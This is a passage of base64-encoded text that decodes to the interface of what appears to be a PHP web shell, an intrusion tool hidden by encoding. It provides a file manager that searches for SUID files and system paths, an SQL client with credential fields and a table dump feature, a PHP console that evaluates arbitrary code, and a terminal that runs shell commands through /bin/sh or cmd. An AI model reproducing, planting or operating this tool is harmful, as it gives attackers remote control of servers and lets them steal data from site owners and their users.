+PGlucHV0IHR5cGU9ImhpZGRlbiIvPiYjeDIxYjQ7PC90ZD48dGQgY29sc3Bhbj0iPD9waHAgZWNobyBOSVg/Nzo2Oz8+Ij48YSBocmVmPSIjImNsYXNzPSJsbmtCbGNrIj5bIC4uIF08L2E+PC90ZD48L3RyPjwvdGJvZHk+PC90ZW1wbGF0ZT48dGVtcGxhdGUgaWQ9InRtcGxGaWxlUm93Ij48dHI+PHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCJuYW1lPSJmW10iLz48L3RkPjx0ZD48YSBocmVmPSIjImNsYXNzPSJsbmtCbGNrIj48L2E+PC90ZD48dGQ+PGEgaHJlZj0iIyJjbGFzcz0ibG5rQmxjayI+PC9hPjwvdGQ+PHRkPjxhIGhyZWY9IiMiY2xhc3M9Imxua0FjdCI+PC9hPjwvdGQ+PHRkPjwvdGQ+PHRkPjxhIGhyZWY9IiMiY2xhc3M9Imxua0FjdCI+PC9hPjwvdGQ+PD9waHAgaWYoTklYKXs/Pjx0ZD48L3RkPjw/cGhwIH0/Pjx0ZD48YSBocmVmPSIjImNsYXNzPSJsbmtBY3QiPk1yazwvYT4mbmJzcDs8YSBocmVmPSIjImNsYXNzPSJsbmtBY3QiPkRlbDwvYT48L3RkPjwvdHI+PC90ZW1wbGF0ZT48ZGl2IGlkPSJkaXZXbmR3cyI+PHRlbXBsYXRlIGlkPSJ0bXBsRnJtRmlsZSI+PGZvcm0gY2xhc3M9Im1vZGFsIGZybUZpbGUib25zdWJtaXQ9InNhdmVGaWxlKGV2ZW50KSJvbm1vdXNlZG93bj0idWlBY3R2TW9kYWwoZXZlbnQpInRhYmluZGV4PSItMSI+PGRpdiBjbGFzcz0iZGl2Q250cmxzIm9uZGJsY2xpY2s9InJldHVybiB1aVJzeih0aGlzLnBhcmVudE5vZGUpIj48c3BhbiBjbGFzcz0ic3BuVGl0bGUiPk5ldyBGaWxlPC9zcGFuPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJDbG9zZSJvbmNsaWNrPSJyZXR1cm4gdWlEc3RyTW9kYWwodGhpcy5wYXJlbnROb2RlLnBhcmVudE5vZGUpIj4mI3gwMEQ3OzwvYT48YSBocmVmPSIjImNsYXNzPSJjbnRybCJ0aXRsZT0iUmVzaXplIm9uY2xpY2s9InJldHVybiB1aVJzeih0aGlzLnBhcmVudE5vZGUucGFyZW50Tm9kZSkiPiYjeDI5MjI7PC9hPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJSZWxvYWQgZmlsZSJvbmNsaWNrPSJybGRGaWxlKGV2ZW50KSI+JiN4MjdGMzs8L2E+PC9kaXY+PHRleHRhcmVhIG5hbWU9InQiPjwvdGV4dGFyZWE+PGRpdiBjbGFzcz0iZmxleFJvdyI+PGlucHV0IHR5cGU9InRleHQicmVxdWlyZWQvPjxzZWxlY3QgbmFtZT0iYyJ0aXRsZT0iRmlsZSBlbmNvZGluZy4uLiJvbmNoYW5nZT0icmxkRmlsZUFzKGV2ZW50KSI+PD9waHAgZm9yZWFjaCgkQyBhcyRrPT4kdillY2hvJzxvcHRpb24gdmFsdWU9IicsJGssJyI+JywkdiwnPC9vcHRpb24+Jzs/Pjwvc2VsZWN0PjxzZWxlY3QgbmFtZT0iZSI+PG9wdGlvbiB2YWx1ZT0iMCI+XHJcbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjEiPD9waHAgaWYoTklYKWVjaG8nIHNlbGVjdGVkJzs/Pj5cbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjIiPlxyPC9vcHRpb24+PC9zZWxlY3Q+PGJ1dHRvbj5TYXZlPC9idXR0b24+PC9kaXY+PC9mb3JtPjwvdGVtcGxhdGU+PGZvcm0gaWQ9ImZybVNyY2giY2xhc3M9Im1vZGFsIm9ubW91c2Vkb3duPSJ1aUFjdHZNb2RhbChldmVudCkib25zdWJtaXQ9InNyY2hGaWxlcyhldmVudCkidGFiaW5kZXg9Ii0xIj48ZGl2IGNsYXNzPSJkaXZDbnRybHMiPjxzcGFuIGNsYXNzPSJzcG5UaXRsZSI+U2VhcmNoPC9zcGFuPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJDbG9zZSJvbmNsaWNrPSJyZXR1cm4gdWlDbHNNb2RhbCgnZnJtU3JjaCcpIj4mI3gwMEQ3OzwvYT48L2Rpdj48bGFiZWwgY2xhc3M9Im9wdGlvbiJ0aXRsZT0iZXh4OiA8P3BocCBlY2hvIE5JWD8nL3Zhci93d3c6L2V0YzovdG1wLyc6J2M6XFxpbmV0cHViXFx3d3dyb290O2Q6XFx3d3dcXCc7Pz4iPlBhdGhzPGlucHV0IHR5cGU9InRleHQicmVxdWlyZWQgLz48L2xhYmVsPjxkaXYgY2xhc3M9ImZsZXhSb3cgbm9GbGV4Ij48ZGl2IGNsYXNzPSJvcHRpb24iPiBOYW1lICg8bGFiZWwgdGl0bGU9Ij8gLSBzaW5nbGUgY2hhcjsgKiAtIHplcm8gb3IgbW9yZSBjaGFyOyBbITAxMjNBLVpdIC0gY2xhc3Mgb2YgY2hhcnMgKC0gZm9yIHJhbmdlLCAhIHRvIGV4Y2x1ZGUpIj48aW5wdXQgdHlwZT0iY2hlY2tib3gibmFtZT0idyIvPndpbGRjYXJkPC9sYWJlbD4sIDxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3gibmFtZT0iaSIvPmNhc2UtaW5zZW5zaXRpdmU8L2xhYmVsPikgPGlucHV0IHR5cGU9InRleHQibmFtZT0ibiIvPjwvZGl2PjxsYWJlbCBjbGFzcz0ib3B0aW9uInRpdGxlPSJNYXggc2VhcmNoIGRlcHRoIj5EZXB0aDxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9ImQic2l6ZT0iMSJzaXplPSIxIi8+PC9sYWJlbD48bGFiZWwgY2xhc3M9Im9wdGlvbiI+VHlwZSA8c2VsZWN0IG5hbWU9Inkib25jaGFuZ2U9InVpU3JjaEZUeXBlQ2huZ2QoKSI+PG9wdGlvbiB2YWx1ZT0iIj5Bbnk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIxIj5EaXJzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iMCI+RmlsZXM8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5Nb2RlIDxzZWxlY3QgbmFtZT0icCI+PG9wdGlvbiB2YWx1ZT0iIj5Bbnk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIxIj5SZWFkYWJsZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjIiPldyaXRhYmxlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iMyI+RnVsbCBhY2Nlc3M8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPiA8P3BocCBpZihOSVgpez8+IDxsYWJlbCBjbGFzcz0ib3B0aW9uIj4gQXR0cmlidXRlIDxzZWxlY3QgbmFtZT0idSI+PG9wdGlvbiB2YWx1ZT0iIj5Bbnk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIxIj5TVUlEPC9vcHRpb24+PC9zZWxlY3Q+PC9sYWJlbD48L2Rpdj48ZGl2IGNsYXNzPSJmbGV4Um93Ij48bGFiZWwgY2xhc3M9Im9wdGlvbiJ0aXRsZT0iZXh4OiAwLCAmZ3Q7MTAwMCwgJmx0OzEwMDUsIDEwMTAtMTAxNSI+T3duZXIgaWQ8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJvIi8+PC9sYWJlbD48aHIgY2xhc3M9InNwY3IyMCIvPjxsYWJlbCBjbGFzcz0ib3B0aW9uInRpdGxlPSJleHg6IDAsICZndDsxMDAwLCAmbHQ7MTAwNSwgMTAxMC0xMDE1Ij5Hcm91cCBpZDxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9ImciLz48L2xhYmVsPiA8P3BocCB9Pz4gPC9kaXY+PGRpdiBjbGFzcz0iZmxleFJvdyI+PGxhYmVsIGNsYXNzPSJvcHRpb24idGl0bGU9ImV4eDogJmd0OzE5OTEtMDgtMjQgMDA6MDA6MDAsICZsdDsxOTkxLTA4LTI0IDAwOjAwOjAwLCAxOTkxLTA4LTI0IDAwOjAwOjAwIC0gMTk5Ni0wNi0yOCAxMjowMDowMCwgMTk5Ni0wNi0yOCAxMjowMDowMCI+Q3JlYXRlZCAoVVRDKTxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9ImUiLz48L2xhYmVsPjxociBjbGFzcz0ic3BjcjIwIi8+PGxhYmVsIGNsYXNzPSJvcHRpb24idGl0bGU9ImV4eDogJmd0OzE5OTEtMDgtMjQgMDA6MDA6MDAsICZsdDsxOTkxLTA4LTI0IDAwOjAwOjAwLCAxOTkxLTA4LTI0IDAwOjAwOjAwIC0gMTk5Ni0wNi0yOCAxMjowMDowMCwgMTk5Ni0wNi0yOCAxMjowMDowMCI+TW9kaWZpZWQgKFVUQyk8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJtIi8+PC9sYWJlbD48L2Rpdj48ZGl2IGNsYXNzPSJmbGV4Um93Ij48bGFiZWwgY2xhc3M9Im9wdGlvbiJ0aXRsZT0iZXh4OiAmZ3Q7MTAsICZsdDsxMDI0MDAsIDEwLTEwMjQsIDIwNDgiPlNpemUgKGJ5dGVzKTxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InoiLz48L2xhYmVsPjxociBjbGFzcz0ic3BjcjIwIi8+PGRpdiBjbGFzcz0ib3B0aW9uIj5UZXh0ICg8bGFiZWwgdGl0bGU9IkRlbGltaXRlciBpcyBwb3VuZCAoIykiPjxpbnB1dCB0eXBlPSJjaGVja2JveCJuYW1lPSJ4Ii8+dXNlIHJlZ2V4PC9sYWJlbD4sIDxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3gibmFtZT0idiIvPmNhc2UtaW5zZW5zaXRpdmU8L2xhYmVsPik8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJ0Ii8+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZmxleFJvdyI+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCJuYW1lPSJsIi8+IFByb2Nlc3MgbGlua3M8L2xhYmVsPjxociBjbGFzcz0ic3BjckZsZXgiLz48YnV0dG9uPlNlYXJjaDwvYnV0dG9uPjwvZGl2PjwvZm9ybT48Zm9ybSBpZD0iZnJtTG5rImNsYXNzPSJtb2RhbCJvbm1vdXNlZG93bj0idWlBY3R2TW9kYWwoZXZlbnQpIm9uc3VibWl0PSJta0xuayhldmVudCkidGFiaW5kZXg9Ii0xIj48ZGl2IGNsYXNzPSJkaXZDbnRybHMiPjxzcGFuIGNsYXNzPSJzcG5UaXRsZSI+Q3JlYXRlIExpbms8L3NwYW4+PGEgaHJlZj0iIyJjbGFzcz0iY250cmwidGl0bGU9IkNsb3NlIm9uY2xpY2s9InJldHVybiB1aUNsc01vZGFsKCdmcm1MbmsnKSI+JiN4MDBENzs8L2E+PC9kaXY+PGxhYmVsIGNsYXNzPSJvcHRpb24iPlRhcmdldCBQYXRoOiA8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJwInJlcXVpcmVkLz48L2xhYmVsPjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5MaW5rIFBhdGg6IDxpbnB1dCB0eXBlPSJ0ZXh0InJlcXVpcmVkLz48L2xhYmVsPjxkaXYgY2xhc3M9ImZsZXhSb3ciPjxzZWxlY3QgbmFtZT0idCI+PG9wdGlvbiB2YWx1ZT0iMCI+U3ltYm9saWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIxIj5IYXJkPC9vcHRpb24+PC9zZWxlY3Q+PGhyIGNsYXNzPSJzcGNyRmxleCIvPjxidXR0b24+Q3JlYXRlPC9idXR0b24+PC9kaXY+PC9mb3JtPjx0ZW1wbGF0ZSBpZD0idG1wbEZybVBycHMiPjxmb3JtIGNsYXNzPSJtb2RhbCBmcm1GaWxlc1BycHMib25tb3VzZWRvd249InVpQWN0dk1vZGFsKGV2ZW50KSJvbnN1Ym1pdD0iY2huZ1BycHMoZXZlbnQpInRhYmluZGV4PSItMSI+PGRpdiBjbGFzcz0iZGl2Q250cmxzIj48c3BhbiBjbGFzcz0ic3BuVGl0bGUiPlByb3BlcnRpZXM8L3NwYW4+PGEgaHJlZj0iIyJjbGFzcz0iY250cmwidGl0bGU9IkNsb3NlIHdpdGhvdXQgc2F2aW5nIm9uY2xpY2s9InJldHVybiB1aURzdHJNb2RhbCh0aGlzLnBhcmVudE5vZGUucGFyZW50Tm9kZSkiPiYjeDAwRDc7PC9hPjwvZGl2PjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5QYXRoPGlucHV0IHR5cGU9InRleHQibmFtZT0icCJyZXF1ZXN0Lz48L2xhYmVsPjxkaXYgY2xhc3M9ImZsZXhSb3ciPjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5Nb2RpZmllZCAoVVRDKSA8YSBocmVmPSIjImNsYXNzPSJjbnRybCBhcndEd24ib25jbGljaz0ic2V0RXJsRGF0ZShldmVudCkidGl0bGU9IlNldCB0aGUgZWFybGllc3QgZGF0ZSBmcm9tIHRhYmxlIj48L2E+PGlucHV0IHR5cGU9InRleHQic2l6ZT0iMSJuYW1lPSJ0Ii8+PC9sYWJlbD4gPD9waHAgaWYoTklYKXs/PiA8aHIgY2xhc3M9InNwY3IyMCIvPjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5QZXJtaXNzaW9uPGlucHV0IHR5cGU9InRleHQic2l6ZT0iMSJuYW1lPSJlIi8+PC9sYWJlbD48aHIgY2xhc3M9InNwY3IyMCIvPjxsYWJlbCBjbGFzcz0ib3B0aW9uIj5Pd25lcjxpbnB1dCB0eXBlPSJ0ZXh0InNpemU9IjEibmFtZT0ibyIvPjwvbGFiZWw+PGhyIGNsYXNzPSJzcGNyMjAiLz48bGFiZWwgY2xhc3M9Im9wdGlvbiI+R3JvdXA8aW5wdXQgdHlwZT0idGV4dCJzaXplPSIxIm5hbWU9InIiLz48L2xhYmVsPjwvZGl2PjxkaXYgY2xhc3M9ImZsZXhSb3ciPiA8P3BocCB9Pz4gPGhyIGNsYXNzPSJzcGNyRmxleCIvPjxidXR0b24gPlNhdmU8L2J1dHRvbj48L2Rpdj48L2Zvcm0+PC90ZW1wbGF0ZT48Zm9ybSBpZD0iZnJtQnVmZmVyImNsYXNzPSJtb2RhbCJvbm1vdXNlZG93bj0idWlBY3R2TW9kYWwoZXZlbnQpInRhYmluZGV4PSItMSI+PGRpdiBjbGFzcz0iZGl2Q250cmxzIj48c3BhbiBjbGFzcz0ic3BuVGl0bGUiPkJ1ZmZlcjwvc3Bhbj48YSBocmVmPSIjImNsYXNzPSJjbnRybCJ0aXRsZT0iQ2xvc2Uib25jbGljaz0icmV0dXJuIHVpQ2xzTW9kYWwoJ2ZybUJ1ZmZlcicpIj4mI3gwMEQ3OzwvYT48YSBocmVmPSIjImNsYXNzPSJjbnRybCJ0aXRsZT0iUmVzaXplIm9uY2xpY2s9InJldHVybiB1aVJzeignZnJtQnVmZmVyJykiPiYjeDI5MjI7PC9hPjwvZGl2Pjx0YWJsZSBpZD0idGJsQnVmZmVyIm9uY2xpY2s9Im9uVGJsQnVmZmVyQ2xpY2soZXZlbnQpIj48dGhlYWQ+PHRyPjx0aCB3aWR0aD0iMjBweCI+PGlucHV0IHR5cGU9ImNoZWNrYm94Im9uY2xpY2s9InVpQ2hlY2tBbGwoJ0J1ZmZlcicsIHRoaXMuY2hlY2tlZCkiLz48L3RoPjx0aD5GaWxlPC90aD48dGggd2lkdGg9IjM1cHgiPkFjdDwvdGg+PC90cj48L3RoZWFkPjx0Zm9vdD48dHI+PHRoIGNvbHNwYW49IjMiPjxidXR0b24gdHlwZT0iYnV0dG9uIm9uY2xpY2s9InVubWFya0ZpbGVzKCkiPlJlbW92ZTwvYnV0dG9uPjwvdGg+PC90cj48L3Rmb290PjwvdGFibGU+PHRlbXBsYXRlIGlkPSJ0bXBsQnVmZmVyUm93Ij48dHI+PHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCJuYW1lPSJmW10iLz48L3RkPjx0ZD48YSBocmVmPSIjIj48L2E+PC90ZD48dGQ+PGEgaHJlZj0iIyJjbGFzcz0ibG5rQWN0Ij5SbTwvYT48L3RkPjwvdHI+PC90ZW1wbGF0ZT48L2Zvcm0+PC9kaXY+PC9kaXY+PC9zcGFuPjxzcGFuIGlkPSJ0YWJTUUwiPjxhIGhyZWY9IiN0YWJTUUwiY2xhc3M9InRhYiI+U1FMIENsaWVudDwvYT48ZGl2IGNsYXNzPSJ0YWJQYWdlImlkPSJkaXZQYWdlU1FMIj48Zm9ybSBjbGFzcz0idG9vbGJhciJpZD0iZnJtQ25uY3Qib25zdWJtaXQ9InJldHVybiBjbm5jdCgpIj48c2VsZWN0IG5hbWU9ImUiPiA8P3BocCAkYT1hcnJheSgnTVlTUUxfTlVNJz0+YXJyYXkoJ015U1FMJywnTXlTUUwnKSwnTVlTUUxJX05VTSc9PmFycmF5KCdNeVNRTGknLCdNeVNRTGknKSwnUERPOjpNWVNRTF9BVFRSX0lOSVRfQ09NTUFORCc9PmFycmF5KCdNeVNRTFBETycsJ015U1FMIChQRE8pJyksJ01TU1FMX05VTSc9PmFycmF5KCdNU1NRTCcsJ01TU1FMJyksJ1NRTFNSVl9FUlJfQUxMJz0+YXJyYXkoJ1NRTFNydicsJ01TU1FMIChTUUxTcnYpJyksJ1BETzo6UEFSQU1fSU5UJz0+YXJyYXkoJ01TU1FMREJMSUInLCdNU1NRTCAoUERPX0RCTElCKScpLCdQRE86OlBBUkFNX1NUUic9PmFycmF5KCdNU1NRTE9EQkMnLCdNU1NRTCAoUERPX09EQkMpJyksJ1BETzo6U1FMU1JWX0VOQ09ESU5HX1VURjgnPT5hcnJheSgnU1FMU3J2UERPJywnTVNTUUwgKFBET19TUUxTUlYpJyksJ1BHU1FMX05VTSc9PmFycmF5KCdQR1NRTCcsJ1Bvc3RncmVTUUwnKSwnUERPOjpQQVJBTV9MT0InPT5hcnJheSgnUEdTUUxQRE8nLCdQb3N0Z3JlU1FMIChQRE8pJykpO2ZvcmVhY2goJGEgYXMkaz0+JHYpaWYoZGVmaW5lZCgkaykpZWNobyc8b3B0aW9uIHZhbHVlPSInLCR2WzBdLCciPicsJHZbMV0sJzwvb3B0aW9uPic7Pz4gPC9zZWxlY3Q+PGlucHV0IHR5cGU9InRleHQibmFtZT0iaCJwbGFjZWhvbGRlcj0iSG9zdCIvPjxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InUicGxhY2Vob2xkZXI9IlVzZXIiLz48aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJwInBsYWNlaG9sZGVyPSJQYXNzd29yZCIvPjxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9ImIicGxhY2Vob2xkZXI9IkJhc2UiLz48YnV0dG9uPiZndDs8L2J1dHRvbj48L2Zvcm0+PGRpdiBjbGFzcz0ic3ViYmFyIj48c3BhbiBjbGFzcz0ic3BuQ2hyc3QiPiA8aHIgY2xhc3M9ImFyd1VwIi8+IDxzZWxlY3QgaWQ9InNxbENTU2VuZCI+PD9waHAgZm9yZWFjaCgkQyBhcyRrPT4kdillY2hvJzxvcHRpb24gdmFsdWU9IicsJGssJyI+JywkdiwnPC9vcHRpb24+Jzs/Pjwvc2VsZWN0Pjwvc3Bhbj48c3BhbiBjbGFzcz0ic3BuQ2hyc3QiPjxociBjbGFzcz0iYXJ3RHduIi8+IDxzZWxlY3QgaWQ9InNxbENTTG9hZCI+PD9waHAgZm9yZWFjaCgkQyBhcyRrPT4kdillY2hvJzxvcHRpb24gdmFsdWU9IicsJGssJyI+JywkdiwnPC9vcHRpb24+Jzs/PiA8L3NlbGVjdD48L3NwYW4+PC9kaXY+PGRpdiBpZD0iZGl2U1FMIj48ZGl2IGlkPSJkaXZTUUxXcnBMZWZ0Ij48ZGl2IGNsYXNzPSJwYW5lbCI+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCJpZD0iY2JDUiIvPiBDb3VudCBudW1iZXIgb2Ygcm93czwvbGFiZWw+PC9kaXY+PGRpdiBjbGFzcz0icGFuZWwiPjxkaXYgaWQ9ImRpdlNjaG0iPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9InBhbmVsImlkPSJkaXZEdW1wIj5EdW1wIGFzIDxzZWxlY3QgaWQ9InNsY3REbXBGcm10Ij48b3B0aW9uIHZhbHVlPSIwIj5TUUw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIxIj5DU1Y8L29wdGlvbj48L3NlbGVjdD48YnV0dG9uIHR5cGU9ImJ1dHRvbiJvbmNsaWNrPSJkdW1wKCkiPiZndDs8L2J1dHRvbj48L2Rpdj48L2Rpdj48ZGl2IGlkPSJkaXZTUUxXcnBSaWdodCI+PGZvcm0gY2xhc3M9InBhbmVsIGZsZXhSb3ciaWQ9ImZybVNRTCJvbnN1Ym1pdD0icmV0dXJuIHF1ZXJ5KCkiPjxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InEicGxhY2Vob2xkZXI9IlNRTCBxdWVyeSIvPjxidXR0b24+Jmd0OzwvYnV0dG9uPjwvZm9ybT48ZGl2IGlkPSJkaXZDcHRuIj48L2Rpdj48ZGl2IGlkPSJkaXZEYXRhIj48dGFibGUgaWQ9InRibEhlYWQiPjwvdGFibGU+PHRhYmxlIGlkPSJ0YmxEYXRhIj48L3RhYmxlPjwvZGl2Pjxmb3JtIGNsYXNzPSJwYW5lbCJpZD0iZnJtUGcib25zdWJtaXQ9InJldHVybiBjaG5nUGcoMCkiPjxpbnB1dCB0eXBlPSJoaWRkZW4ibmFtZT0iYiIvPjxpbnB1dCB0eXBlPSJoaWRkZW4ibmFtZT0icyIvPjxpbnB1dCB0eXBlPSJoaWRkZW4ibmFtZT0idCIvPiBTdGFydCBmcm9tIHJvdyA8YnV0dG9uIHR5cGU9ImJ1dHRvbiJvbmNsaWNrPSJjaG5nUGcoLTEpIj4mbHQ7PC9idXR0b24+PGlucHV0IHR5cGU9InRleHQibmFtZT0ibyJzaXplPSI1InZhbHVlPSIwIi8+PGJ1dHRvbiB0eXBlPSJidXR0b24ib25jbGljaz0iY2huZ1BnKDEpIj4mZ3Q7PC9idXR0b24+PGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQiPlJvd3MgcGVyIHBhZ2UgPGlucHV0IHR5cGU9InRleHQibmFtZT0iciJzaXplPSIzInZhbHVlPSIyNSIvPjxidXR0b24+Jmd0OzwvYnV0dG9uPjwvZGl2PjwvZm9ybT48L2Rpdj48L2Rpdj48L2Rpdj48L3NwYW4+PHNwYW4gaWQ9InRhYlBIUCI+PGEgaHJlZj0iI3RhYlBIUCJjbGFzcz0idGFiIj5QSFAgQ29uc29sZTwvYT48ZGl2IGNsYXNzPSJ0YWJQYWdlImlkPSJkaXZQYWdlUEhQIj48Zm9ybSBjbGFzcz0idG9vbGJhciJpZD0iZnJtUEhQIm9uc3VibWl0PSJyZXR1cm4gZXZsKCkiPjxsYWJlbD48YSBocmVmPSIjInRpdGxlPSJDaGFuZ2UgY29tcG9zaXRpb24iY2xhc3M9ImNtcHNSb3ciaWQ9ImFDbXBzIm9uY2xpY2s9InJldHVybiB1aUNobmdDbXBzKCkiPkNvbXBvc2l0aW9uPC9hPjwvbGFiZWw+PGxhYmVsIHRpdGxlPSJFcmFzZSBQSFAgY29kZSBhZnRlciBzdWNjZXNzZnVsIGV2YWwiPjxpbnB1dCB0eXBlPSJjaGVja2JveCJpZD0iY2JDbG5JbnAiLz4gQ2xlYXIgaW5wdXQ8L2xhYmVsPjxsYWJlbCB0aXRsZT0iRXJhc2UgcHJldmlvdXMgcmVzdWx0cyBiZWZvcmUgc2hvdyBuZXciPjxpbnB1dCB0eXBlPSJjaGVja2JveCJpZD0iY2JDbG5PdXQiIGNoZWNrZWQvPiBDbGVhciBvdXRwdXQ8L2xhYmVsPjxsYWJlbCB0aXRsZT0iUmVuZGVyIHJlc3VsdCBhcyBIVE1MIj48aW5wdXQgdHlwZT0iY2hlY2tib3giaWQ9ImNiSFRNTCIvPiBTaG93IGFzIEhUTUw8L2xhYmVsPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3gibmFtZT0iaCIvPiBIaWRlIFBIUCBlcnJvcnM8L2xhYmVsPjxkaXY+PHNwYW4gY2xhc3M9InNwbkNocnN0InRpdGxlPSJTZW5kIGFzLi4uIj48aHIgY2xhc3M9ImFyd1VwIi8+IDxzZWxlY3QgaWQ9InNsY3RQSFBDUyI+PD9waHAgZm9yZWFjaCgkQyBhcyR2KWVjaG8nPG9wdGlvbj4nLCR2LCc8L29wdGlvbj4nOz8+PC9zZWxlY3Q+PC9zcGFuPjxzcGFuIGNsYXNzPSJzcG5DaHJzdCJ0aXRsZT0iTG9hZCBhcy4uLiI+PGhyIGNsYXNzPSJhcndEd24iLz4gPHNlbGVjdCBuYW1lPSJjIj48P3BocCBmb3JlYWNoKCRDIGFzJGs9PiR2KWVjaG8nPG9wdGlvbiB2YWx1ZT0iJywkaywnIj4nLCR2LCc8L29wdGlvbj4nOz8+PC9zZWxlY3Q+PC9zcGFuPjxidXR0b24gaWQ9InNibVBIUCJ0aXRsZT0iUHJlc3MgQ3RybCArIEVudGVyIHRvIGV2YWx1YXRlIGNvZGUiPkV2YWw8L2J1dHRvbj48L2Rpdj48L2Zvcm0+PGRpdiBpZD0iZGl2UEhQIj48dGV4dGFyZWEgbmFtZT0iZSJmb3JtPSJmcm1QSFAiaWQ9InR4dFBIUCJwbGFjZWhvbGRlcj0icGhwaW5mbygpOyJvbmtleWRvd249Im9uUEhQS2V5RHduKGV2ZW50KSI+PC90ZXh0YXJlYT48cHJlIGlkPSJwcmVQSFAib25rZXlkb3duPSJvblBIUFJlc0tleUR3bihldmVudCkidGFiaW5kZXg9Ii0xIj48L3ByZT48L2Rpdj48L2Rpdj48L3NwYW4+PHNwYW4gaWQ9InRhYlRybSI+PGEgaHJlZj0iI3RhYlRybSJjbGFzcz0idGFiIj5UZXJtaW5hbDwvYT48Zm9ybSBjbGFzcz0idGFiUGFnZSJpZD0iZnJtVHJtIm9uc3VibWl0PSJyZXR1cm4gZXhlYygpIj48ZGl2IGNsYXNzPSJ0b29sYmFyIj48bGFiZWwgY2xhc3M9ImZsZXhSb3cidGl0bGU9IlNoZWxsIG11c3QgYmUgYWJsZSB0byBhY2NlcHQgY29tbWFuZCBmcm9tIHRoZSBhcmd1bWVudCAnYycgKGUuZy46ICQ8P3BocCBlY2hvIE5JWD8iL2Jpbi9zaGVsbCAtYyAndW5hbWUgLWE7IGlkJyI6ImNtZCAvYyAndmVyOyBwd2QnIjs/PikiPlNoZWxsOiA8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJzInBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIE5JWD8nL2Jpbi9zaCc6Jyc7Pz4iLz48L2xhYmVsPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3gibmFtZT0iaCI+IERvbid0IHNob3cgZXJyb3JzPC9sYWJlbD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0iY2JJVCIvPiBJbnZlcnQgb3V0cHV0PC9sYWJlbD48bGFiZWw+VXNlIGZ1bmN0aW9uOiA8c2VsZWN0IG5hbWU9ImYiPjwvc2VsZWN0PjwvbGFiZWw+PGRpdj48c3BhbiBjbGFzcz0ic3BuQ2hyc3QidGl0bGU9IlNlbmQgYXMuLi4iPjxociBjbGFzcz0iYXJ3VXAiLz4gPHNlbGVjdCBpZD0ic2xjdFRybUNTIj48P3BocCBmb3JlYWNoKCRDIGFzJHYpZWNobyc8b3B0aW9uPicsJHYsJzwvb3B0aW9uPic7Pz48L3NlbGVjdD48L3NwYW4+PHNwYW4gY2xhc3M9InNwbkNocnN0InN0eWxlPSJ0ZXh0LWFsaWduOnJpZ2h0InRpdGxlPSJMb2FkIGFzLi4uIj48aHIgY2xhc3M9ImFyd0R3biIvPiA8c2VsZWN0IG5hbWU9ImMiPjw/cGhwIGZvcmVhY2goJEMgYXMkaz0+JHYpZWNobyc8b3B0aW9uIHZhbHVlPSInLCRrLCciPicsJHYsJzwvb3B0aW9uPic7Pz48L3NlbGVjdD48L3NwYW4+PC9kaXY+PC9kaXY+PGRpdiBpZD0iZGl2VHJtIm9uY2xpY2s9Im9uVHJtQ2xpY2soZXZlbnQpIj48cHJlIGlkPSJwcmVUcm0ib25rZXlkb3duPSJvblRybVJlc0tleUR3bihldmVudCkidGFiaW5kZXg9Ii0xIj48L3ByZT48ZGl2IGNsYXNzPSJmbGV4Um93Ij48c3BhbiBpZD0ic3BuVXNySHN0Ij48L3NwYW4+OjxzcGFuIGlkPSJzcG5QdGgiPjwvc3Bhbj4kJm5ic3A7PGlucHV0IHR5cGU9InRleHQibmFtZT0iZSJpZD0iaW5wVHJtIm9ua2V5ZG93bj0ib25Ucm1JbnBLZXlEd24oZXZlbnQpImF1dG9jb21wbGV0ZT0ib2ZmIi8+PC9kaXY+PC9kaXY+PC9mb3JtPjwvc3Bhbj48c3BhbiBpZD0idGFiSW5mIj48YSBocmVmPSIjdGFiSW5mImNsYXNzPSJ0YWIiPkluZm9ybWF0aW9uPC9hPjxkaXYgY2xhc3M9InRhYlBhZ2UiaWQ9ImRpdkluZm8iPjxkaXYgY2xhc3M9InRvb2xiYXIiPjxkaXY+PGEgaHJlZj0iIyJjbGFzcz0ibG5rQWN0Im9uY2xpY2s9InJldHVybiBhanhTbmQoJ0dldCBtYW